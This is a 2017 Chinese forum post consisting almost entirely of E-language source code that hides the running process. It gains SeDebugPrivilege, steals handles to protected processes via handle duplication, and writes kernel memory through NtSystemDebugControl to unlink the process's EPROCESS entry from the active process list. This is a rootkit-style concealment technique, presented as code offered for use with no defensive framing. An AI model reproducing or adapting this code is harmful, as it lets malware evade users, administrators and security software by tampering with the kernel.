|
发表于 2017-6-17 03:02:52
|
显示全部楼层
|阅读模式
湖南省湘西土家族苗族自治州
变量名 | 类 型 | 静态 | 数组 | 备 注 | pid | 整数型 | | | eprocess | 长整数型 | | | hand | 整数型 | | | temp | 字节集 | | | fw_ | 长整数型 | | | bw_ | 长整数型 | | | fw | 字节集 | | | bw | 字节集 | | | 提升进程权限 ()hand = 用保护型打开进程 (2075311, 真, 取自进程ID ()) eprocess = 取进程EProcess (取自进程ID ()) 关闭系统快照 (hand )如果真 (eprocess = 0 )返回 (假)temp = 读物理内存 (eprocess + 136, 4 )如果真 (temp = { })返回 (假)fw_ = 取字节集数据 (temp, #长整数型, )fw = temp temp = 读物理内存 (eprocess + 140, 4 )如果真 (temp = { })返回 (假)bw_ = 取字节集数据 (temp, #长整数型, )bw = temp 如果真 (写物理内存 (fw_ + 4, bw ) = -1 )返回 (假)如果真 (写物理内存 (bw_, fw ) = -1 )返回 (假)返回 (真)|
用保护型打开进程 | 整数型 | | |
dwDesiredAccess | 整数型 | | | | bInhert | 逻辑型 | | | | ProcessId | 整数型 | | | |
变量名 | 类 型 | 静态 | 数组 | 备 注 | st | 整数型 | | | cid | CLIENT_ID | | | oa | OBJECT_ATTRIBUTES | | | NumOfHandle | 整数型 | | | pbi | PROCESS_BASIC_INFORMATION | | | i | 整数型 | | | hProcessToDup | 整数型 | | | hProcessCur | 整数型 | | | hProcessToRet | 整数型 | | | h_info | SYSTEM_HANDLE_TABLE_ENTRY_INFO | | | retlen | 整数型 | | | a | 字节集 | | | b | 整数型 | | | c | 字节集 | | | ret | 整数型 | | |
oa.Length = 24 如果真 (bInhert )oa.Attributes = 位或 (oa.Attributes, 2 )cid.UniqueProcess = ProcessId + 1st = ZwOpenProcess (hProcessToRet, dwDesiredAccess, oa, cid )如果真 (st ≥ 0 )ret = hProcessToRet 返回 (ret )retlen = 1循环判断首 ()a = 取空白字节集 (retlen )ret = ZwQuerySystemInformation (16, a, retlen, 0 )如果 (ret = -1073741820 )retlen = retlen × 2 a = 取空白字节集 (retlen )跳出循环 ()循环判断尾 (ret = -1073741820 )b = 取字节集指针_ (a, a, 0 )RtlMoveMemory3 (NumOfHandle, b, 4 )b = b + 4 计次循环首 (NumOfHandle, i )RtlMoveMemory1 (h_info, b, 16 )如果真 (h_info.ObjectTypeIndex = 5 )cid.UniqueProcess = h_info.UniqueProcessId st = ZwOpenProcess (hProcessToDup, 64, oa, cid )如果真 (st ≥ 0 )st = ZwDuplicateObject (hProcessToDup, h_info.HandleValue, -1, hProcessCur, 2035711, 0, 4 )如果真 (st ≥ 0 )st = ZwQueryInformationProcess (hProcessCur, 0, pbi, 24, 0 )如果真 (st ≥ 0 )如果真 (pbi.UniqueProcessId = ProcessId )st = ZwDuplicateObject (hProcessToDup, h_info.HandleValue, -1, hProcessToRet, dwDesiredAccess, 2, 4 )如果真 (st ≥ 0 )ret = hProcessToRet st = ZwClose (hProcessCur)st = ZwClose (hProcessToDup)b = b + 16计次循环尾 ()返回 (ret )变量名 | 类 型 | 静态 | 数组 | 备 注 | 进程句柄 | 整数型 | | | 令牌句柄 | 整数型 | | | destLuid | LUID | | | 进程权限 | 进程权限 | | | 返回 | 逻辑型 | | | 如果真 (0 = 进程ID )进程ID = 取自进程ID ()进程句柄 = 用保护型打开进程 (2035711, 真, 进程ID)打开令牌对象 (进程句柄, 983551, 令牌句柄 )取权限令牌 (0, “SeDebugPrivilege”, destLuid )进程权限.PrivilegeCount = 1 进程权限.Attributes = 2 进程权限.LowPart = destLuid.LowPart 进程权限.HighPart = destLuid.HighPart 返回 = 置进程权限 (令牌句柄, 假, 进程权限, 0, 0, 0 )关闭对象 (进程句柄 )返回 (返回 )变量名 | 类 型 | 静态 | 数组 | 备 注 | MEMORY_CHUNKS | 字节集 | | | ret | 整数型 | | | retlen | 整数型 | | | len | 整数型 | | |
len = 取字节集长度 (数据 )MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址 ), 4 ) + 到字节集 (取字节集指针_ (数据, 数据, 0 )) + 到字节集 (len )NtSystemDebugControl (9, MEMORY_CHUNKS, 12, 0, 0, retlen ) 如果真 (retlen ≤ 0 )ret = -1 返回 (ret)变量名 | 类 型 | 静态 | 数组 | 备 注 | MEMORY_CHUNKS | 字节集 | | | ret | 字节集 | | | retlen | 整数型 | | |
ret = 取空白字节集 (长度 )MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址 ), 4 ) + 到字节集 (取字节集指针_ (ret, ret, 0 )) + 到字节集 (长度 )NtSystemDebugControl (8, MEMORY_CHUNKS, 12, 0, 0, retlen ) 如果真 (retlen ≤ 0 )ret = { }返回 (ret)变量名 | 类 型 | 静态 | 数组 | 备 注 | ret | | | | 信息块 | 字节集 | | | retlen | | | | temp | SYSTEM_HANDLE_INFORMATION | | | 信息块指针偏移 | | | | number | | | | 结果 | 长整数型 | | |
retlen = 1 循环判断首 ()信息块 = 取空白字节集 (retlen )ret = ZwQuerySystemInformation (16, 信息块, retlen, 0 )如果 (ret = -1073741820 )retlen = retlen × 2 信息块 = 取空白字节集 (retlen )跳出循环 ()循环判断尾 (ret = -1073741820 )信息块指针偏移 = 取字节集指针_ (信息块, 信息块, 0 )复制内存整数 (number, 信息块指针偏移, 4 )信息块指针偏移 = 信息块指针偏移 + 4 计次循环首 (number, )RtlMoveMemory2 (temp, 信息块指针偏移, 16 )如果真 (pid = temp.ProcessId 且 temp.ObjectTypeNumber = 5 )返回 (十六文本至长整数 (取十六进制文本 (temp.Object )) )信息块指针偏移 = 信息块指针偏移 + 16计次循环尾 ()返回 (0 )StrToInt64ExA (“0x” + x, 1, ret )返回 (ret )
|
|